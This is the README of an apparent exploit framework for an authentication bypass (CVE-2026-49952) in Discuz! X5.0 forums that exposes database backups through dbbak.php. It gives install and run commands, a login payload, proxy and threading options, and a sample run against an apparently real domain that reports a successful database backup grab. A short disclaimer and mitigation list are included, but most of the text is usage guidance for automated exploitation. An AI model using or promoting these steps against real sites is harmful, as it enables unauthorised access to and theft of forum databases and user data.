Discuz! X5.0 Authentication Bypass Exploit Framework

⚡ CVE-2026-49952 | CVSS 9.1 (Critical ) | Version 1.0.0

A professional penetration testing tool designed to identify and demonstrate the critical authentication bypass vulnerability in Discuz! X5.0.

📋 Table of Contents

• ⚠️ Disclaimer

• 🔍 Overview

• 🎯 Vulnerability Details

• ✨ Features

• 📦 Installation

• 🚀 Quick Start

• 💻 Usage Examples

• 🖥️ Interactive Shell

• 🛡️ Security Considerations

• 🔧 Troubleshooting

• 📄 License

⚠️ Disclaimer

IMPORTANT NOTICEThis tool is provided for educational purposes and authorized security testing only.DO NOT use this tool on systems you do not own or lack explicit permission to test.Unauthorized access to computer systems is illegal and unethical.The author assumes no responsibility for any misuse or damage caused by this tool.By using this tool, you agree to comply with all applicable laws and regulations.

🔍 Overview

Discuz! X5.0 Authentication Bypass Exploit Framework is designed to identify and demonstrate the critical authentication bypass vulnerability (CVE-2026-49952) in Discuz! X5.0 versions released between March 20, 2026, and May 1, 2026.

This vulnerability allows unauthenticated attackers to access the database backup functionality (dbbak.php) by exploiting the UC_KEY encryption oracle for token reuse, potentially exposing sensitive database contents.

Key Highlights

• 🏆 CVSS Score: 9.1 (Critical)

• 🔐 Impact: Authentication Bypass

• 📂 Access: Database Backup Files

• ⚡ Complexity: Low (Easy to Exploit)

• 🎯 Target: Discuz! X5.0 (20260320 - 20260501)

🎯 Vulnerability Details

Technical Summary

Root Cause

The vulnerability exists in the dbbak.php endpoint where the token validation mechanism relies on the UC_KEY encryption oracle. By crafting a specific payload in the login request (member.php), an attacker can obtain a valid authentication token that can be reused to access the database backup functionality without proper authorization.

Affected Versions

• ❌ Discuz! X5.0 (20260320 - 20260501) - Vulnerable

• ✅ Discuz! X5.0 (20260510+) - Fixed

✨ Features

Core Features

• 🔍 Version Detection: Automatic fingerprinting and Discuz! version identification.

• ⚡ Multi-Payload Attack: Parallel testing of multiple payload variants.

• 🖥️ Interactive Shell: Full-featured command-line interface for manual exploitation.

• 🚀 Automated Exploitation: One-click exploitation with minimal configuration.

• 📊 Result Saving: Export exploitation results to timestamped files.

• 🌐 Proxy Support: HTTP/HTTPS proxy configuration for network traversal.

• 🎯 Threaded Scanning: Configurable thread count for performance optimization.

• 🎨 Color Output: Professional color-coded terminal output.

Advanced Features

• 🔐 SSL/TLS Support: Handles both HTTP and HTTPS targets.

• 🔄 Session Management: Maintains persistent session state.

• 📦 Payload Customization: Support for custom payload injection.

• 🎯 Target Validation: Verifies Discuz! installation before exploitation.

📦 Installation

Prerequisites

• Python: Version 3.7 or higher

• Pip: Python package manager

Install from Source

# Clone the repository
git clone https://github.com/CerberusMrXi/Discuz-X5.0-Authentication-Bypass-Exploit-Framework
cd Discuz-X5.0-Authentication-Bypass-Exploit-Framework

# Install required packages
pip install -r requirements.txt

# Verify installation
python3 exploit.py --help

Install with Docker

# Build the Docker image
docker build -t exploit .

# Run the container
docker run -it --rm exploit http://target.com

🚀 Quick Start

Basic Usage

# Simple exploitation
python3 exploit.py http://target.com

# With output file
python3 exploit.py http://target.com --output results.txt

# Verbose mode for debugging
python3 exploit.py http://target.com --verbose

Advanced Usage

# With proxy and custom threads
python3 exploit.py https://target.com --proxy http://127.0.0.1:8080 --threads 10

# Custom payload
python3 exploit.py http://target.com --payload "admin|1|0|0"

💻 Usage Examples

Example 1: Basic Exploitation

python3 exploit.py http://discuz.eda.com.my

██████╗ ██╗███████╗██╗   ██╗███████╗███████╗██████╗ 
██╔══██╗██║██╔════╝██║   ██║╚══███╔╝╚══███╔╝╚════██╗
██║  ██║██║███████╗██║   ██║  ███╔╝  ███╔╝  █████╔╝
██║  ██║██║╚════██║██║   ██║ ███╔╝  ███╔╝  ██╔═══╝ 
██████╔╝██║███████║╚██████╔╝███████╗███████╗███████╗
╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝

Discuz! X5.0 Authentication Bypass Exploit Framework
CVE-2026-49952 | CVSS: 9.1 (Critical )
Author: Sudeepa Wanigarathna | Version: 1.0.0
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

[14:32:15] ► Phase 1: Target Reconnaissance
[14:32:15] ➜ Testing connectivity to http://discuz.eda.com.my
[14:32:16] ➜ Detecting Discuz! version...
[14:32:16] ✔ Discuz! Version: X5.0
[14:32:16] ⚡ Target is running a vulnerable version!
[14:32:16] ► Phase 2: Authcode Acquisition
[14:32:16] ➜ Extracting authcode with payload: admin|1|0|0
[14:32:17] ✔ Authcode: aBcDeFgHiJkLmNoPqRsT...
[14:32:17] ► Phase 3: Exploitation
[14:32:17] ➜ Executing exploit (operation: backup )
[14:32:18] ✔ Exploit successful!
[14:32:18] ✔ Results saved to discuz_exploit_20260724_143218.txt

╔══════════════════════════════════════════════════════════╗
║  EXPLOIT SUCCESSFUL                                      ║
╠══════════════════════════════════════════════════════════╣
║  Target: http://discuz.eda.com.my                        ║
║  Authcode: aBcDeFgHiJkLmNoPqRsT...                       ║
║  Status: Database backup accessed                        ║
║  Data Size: 24567 bytes                                  ║
║  Saved to: discuz_exploit_20260724_143218.txt            ║
╚══════════════════════════════════════════════════════════╝

🖥️ Interactive Shell

Start the interactive shell for manual exploitation:

python3 discuz_exploit.py http://target.com --interactive

Available Commands

🛡️ Security Considerations

✅ Do's

• Use only on systems you own or have explicit permission to test.

• Obtain written authorization before testing.

• Follow responsible disclosure practices.

• Report vulnerabilities to vendors properly.

• Use in isolated lab environments for learning.

❌ Don'ts

• Never use against production systems without authorization.

• Don't share exploited data publicly.

• Never use for illegal activities or data theft.

• Don't modify or delete data during testing.

• Never exploit without consent.

Mitigation Recommendations

For system administrators:

1. Update Immediately: Upgrade to Discuz! X5.0 (20260510+) or later.

2. Disable Endpoint: Temporarily disable dbbak.php if not needed.

3. Monitor Logs: Watch for suspicious member.php and dbbak.php access.

4. WAF Rules: Implement Web Application Firewall rules to block malicious requests.

5. IP Whitelisting: Restrict backup endpoint access to trusted IPs.

🔧 Troubleshooting

Error: Failed to connect to target

Solutions:
• Check if target URL is correct
• Verify network connectivity
• Check for firewalls blocking access
• Try with proxy: --proxy http://your_proxy:port
• Ensure target is online and accessible

Error: Authentication failed or invalid authcode

Solutions:
• Ensure the target Discuz! version is vulnerable
• Try different payloads for authcode extraction
• Check for network issues or WAF interference
• Run in verbose mode (--verbose ) for more details

📄 License

This project is licensed under the MIT License.

Copyright © 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.